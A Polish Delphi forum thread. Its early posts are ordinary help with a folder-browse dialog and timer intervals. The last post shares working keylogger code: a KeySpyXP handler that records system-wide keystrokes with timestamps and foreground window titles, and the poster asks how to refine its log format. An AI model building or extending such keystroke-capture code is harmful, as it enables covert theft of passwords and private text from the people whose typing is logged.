[Delphi]Wskazywanie Ścieżki do zapisania pliku

Reptile ReX

Użytkownik
Dołączył
Maj 15, 2007
Posty
248
Witam po latach ;D

Chce zrobić w Delphi button "Browse", aby wskazać miejsce gdzie mają być zapisywane pliki.

Chciałem użyć OpenDialog ale coś mi nie wyszło.
 

kanar123

Użytkownik
Dołączył
Marzec 27, 2008
Posty
451
Widzę że jednak nie wyszło ;]
Nie wiem czy Ci to będzie pasować... na szybko można tak :

Kod buttona:
SaveDialog1.FileName:='readme.txt';
If SaveDialog1.Execute then
Label1.Caption:= SaveDialog1.Files.Text;
 

Reptile ReX

Użytkownik
Dołączył
Maj 15, 2007
Posty
248
To wiem, ale nie do końca dobrze wytłumaczyłem.

Chodzi mi o wskazanie folderu w którym mają być zapisywane pliki:

Przykład:

Wybieram sobie przycisk "Browse" i później folder C:\lol i chcę, aby ta wybrana ścieżka pojawiała się w edit1.text
 

bziomek

Użytkownik
Dołączył
Lipiec 14, 2008
Posty
51
Robisz nową formę, kładziesz na niej komponenty:
  • TShellTreeView - na nim będziesz wybierał folder docelowy,
  • TTimer - będzie sprawdzał w jakim folderze się znajdujesz i przekazywał do Edit,
  • TEdit - będzie wyświetlał obecną ścieżkę,
  • TButton - przekaże ścieżkę do Edit'a z formy pierwszej.
Klikasz dwa razy na Timer1 i dodajesz kod:
Kod:
Edit1.Text:=ShellTreeView1.SelectedFolder.PathName;
, który wypisze w obecną ścieżkę zaznaczonego folderu w Edit1.

Następnie klikasz dwa razy na Button1 i dodajesz kod:
Kod:
Form1.Edit1.Text:=ShellTreeView1.SelectedFolder.PathName;
Form2.Close;

I to tyle...
Oczywiście po naciśnięciu Buttona Browse na 1-szej Formie pokaże formę drugą.

Acha, możesz jeszcze dodać jakiś bajer, np. Utworzenie Folderu, wtedy dodajesz jeszcze jednego buttona na Formę 2 i wklepujesz np. taki kod:
Kod:
NazwaFolderu:=InputBox('Utwórz Folder','Wprowadź nazwę folderu, który chcesz utworzyc','');

  if NazwaFolderu <> '' then MkDir(ShellTreeView1.SelectedFolder.PathName+'\'+NazwaFolderu);

Tylko pamiętaj, żeby wcześniej zadeklarować zmienną NazwaFolderu, typu String.

Pozdro... ;).
 

Reptile ReX

Użytkownik
Dołączył
Maj 15, 2007
Posty
248
Dzięki, właśnie o to mi chodziło [+]

Mam kolejny problem:

Mianowicie chciałbym zrobić wyrażanie Intervala w Timerze w minutach czyli pomyślałem sobie że Liczba z Edit.Text * 60000

I próbowałem w ten sposób:

Timer1.Interval := StrToInt(Edit.Text) * 60000;

Ale to nie działa poprawnie, co powinienem zrobić ?
 

bziomek

Użytkownik
Dołączył
Lipiec 14, 2008
Posty
51
Ponieważ zmienna Interval jest typu Cardinal, spróbuj w ten sposób:
Kod:
Timer1.Interval:=Cardinal(StrToInt(Edit1.Text)*60000);
... ;).
 

Reptile ReX

Użytkownik
Dołączył
Maj 15, 2007
Posty
248
Dzięki kolejny raz :)

Postępy postępami, aż natknąłem się na kolejny problem.

Mianowicie chciałbym zrobić Poakzywanie nazwy Uchwytu Okna następnie wstukiwane w nim klawisze.
Używam komponentu KeySpyXP a funkcja do odczytu Uchwytu Okna to:

function NT_InternalGetWindowText(Wnd: HWND): string;
type
TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;
nMaxCount: Integer): Integer;
stdcall;
var
hUserDll: THandle;
InternalGetWindowText: TInternalGetWindowText;
lpString: array[0..MAX_PATH] of WideChar;

begin
Result := '';
hUserDll := GetModuleHandle('user32.dll');
if (hUserDll > 0) then
begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
if Assigned(InternalGetWindowText) then
begin
InternalGetWindowText(Wnd, lpString, SizeOf(lpString));
Result := string(lpString);
end;
end;
end;
Używam to w ten sposób:

procedure TForm1.KeySpyXPKey(Sender: TObject; key: String);
var
Uchwyt : string;
begin
Uchwyt := (NT_InternalGetWindowText(GetForegroundWindow));
if key[1]='{' then
begin
Logs.Lines.Add('>>>>>>' + Uchwyt + '<<<<<< - ' + TimeToStr(Time));
Logs.Lines.Add(key);
end
else
Logs.Text := Logs.Text+key;

end;
Ale tutaj już mam problem, mianowicie chcę zrobić, aby nie pokazywało za każdym razem Nazwy Okna Bo niepotrzebnie zasypuje Logi.

Chcę aby program dodawał uchwyt tylko raz jeżeli wcześniej już odczytał jego wartość.
Podam przykład bo ciężko to zrozumieć:

Działanie Teraźniejsze:

>>>>>> Bez Tytuły - Notatnik - 17:11:20 <<<<<<
Test
{ENTER}

>>>>>> Bez Tytuły - Notatnik - 17:11:25 <<<<<<
Test2
Działanie Które chcę otrzymać:

>>>>>> Bez Tytuły - Notatnik - 17:11:20 <<<<<<
Test
{ENTER}
Test2
{ENTER}
Test3

>>>>>> Mój Plik - Notatnik - 17:11:37 <<<<<< //sprawdza czy uchwyt nie jest taki sam jak wcześniej, jeżeli nie jest dodaje aktualny uchwyt.
Teraz juz działa
{ENTER}
Bardzo Dobrze
 
Do góry Bottom